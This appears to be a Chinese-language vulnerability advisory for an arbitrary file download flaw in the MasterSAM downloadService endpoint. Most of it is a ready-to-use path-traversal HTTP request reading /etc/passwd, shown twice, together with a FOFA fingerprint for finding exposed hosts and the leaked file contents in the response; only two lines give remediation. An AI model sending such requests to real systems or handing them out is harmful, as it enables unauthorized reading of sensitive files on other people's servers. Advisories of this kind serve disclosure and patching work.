

MasterSAM任意文件下载漏洞

漏洞描述

MasterSAM接口downloadService存在任意文件下载漏洞，攻击者可通过该漏洞进一步获取敏感信息。

影响版本

MasterSAM

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="-2145752394"

POC/EXP:

```
GET /adama/adama/downloadService?type=1&file=../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132", "Google Chrome";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/132.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8
,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
```

Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9

Request

数据扫描

美化

热加载

构造请求

1

GET /adama/adama/downloadService?type=1&file=../../../../etc/passwd HTTP/1.1

2

Host: 192.168.1.100

3

Connection: keep-alive

4

sec-ch-ua: "Not-A(Brand";v="8", "Chromium";v="132", "Google-Chrome";v="132"

5

sec-ch-ua-mobile: ?0

6

sec-ch-ua-platform: "Windows"

7

Upgrade-Insecure-Requests: 1

8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36

9

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

10

Sec-Fetch-Site: none

11

Sec-Fetch-Mode: navigate

12

Sec-Fetch-User: ?1

13

Sec-Fetch-Dest: document

14

Accept-Encoding: gzip, deflate, br, zstd

15

Accept-Language: zh-CN,zh;q=0.9

16

17

Responses

https

1403bytes / 346ms

美化

编码

详情

12

Server: MSAM

13

Content-Length: 1403

14

15

root:x:0:0:root:/root:/bin/bash

16

bin:x:1:1:bin:/bin:/sbin/nologin

17

daemon:x:2:2:daemon:/sbin:/sbin/nologin

18

adm:x:3:4:adm:/var/adm:/sbin/nologin

19

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

20

sync:x:5:0:sync:/sbin:/bin/sync

21

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

22

halt:x:7:0:halt:/sbin:/sbin/halt

23

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

24

operator:x:11:0:operator:/root:/sbin/nologin

25

games:x:12:100:games:/usr/games:/sbin/nologin

26

ftp:x:14:50:FTP-User:/var/ftp:/sbin/nologin

27

nobody:x:65534:65534:Kernel-Overflow-User:/:/sbin/nologin

28

dbus:x:81:81:System-message-bus:/:/sbin/nologin

29

systemd-coredump:x:999:997:systemd-Core-Dumper:/:/sbin/nologin

30

systemd-resolve:x:193:193:systemd-Resolver:/:/sbin/nologin

31

tss:x:59:59:Account-used-by-the-trousers-package-to-sandbox-the-tcsd-daemon:/dev/null:/sbin/nologin

32

polkitd:x:998:996:User-for-polkitd:/:/sbin/nologin

33

unbound:x:997:995:Unbound-DNS-resolver:/etc/unbound:/sbin/nologin

34

sssd:x:996:993:User-for-sssd:/:/sbin/nologin

35

sshd:x:74:74:Privilege-separated-SSH:/var/empty/sshd:/sbin/nologin

36

tcpdump:x:72:72:/:/sbin/nologin

37

chrony:x:995:992:/:var/lib/chrony:/sbin/nologin

38

nagios:x:994:991:/:var/spool/nagios:/sbin/nologin

39

nrpe:x:993:990:NRPE-user-for-the-NRPE-service:/var/run/nrpe:/sbin/nologin

40

rngd:x:992:989:Random-Number-Generator-Daemon:/var/lib/

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本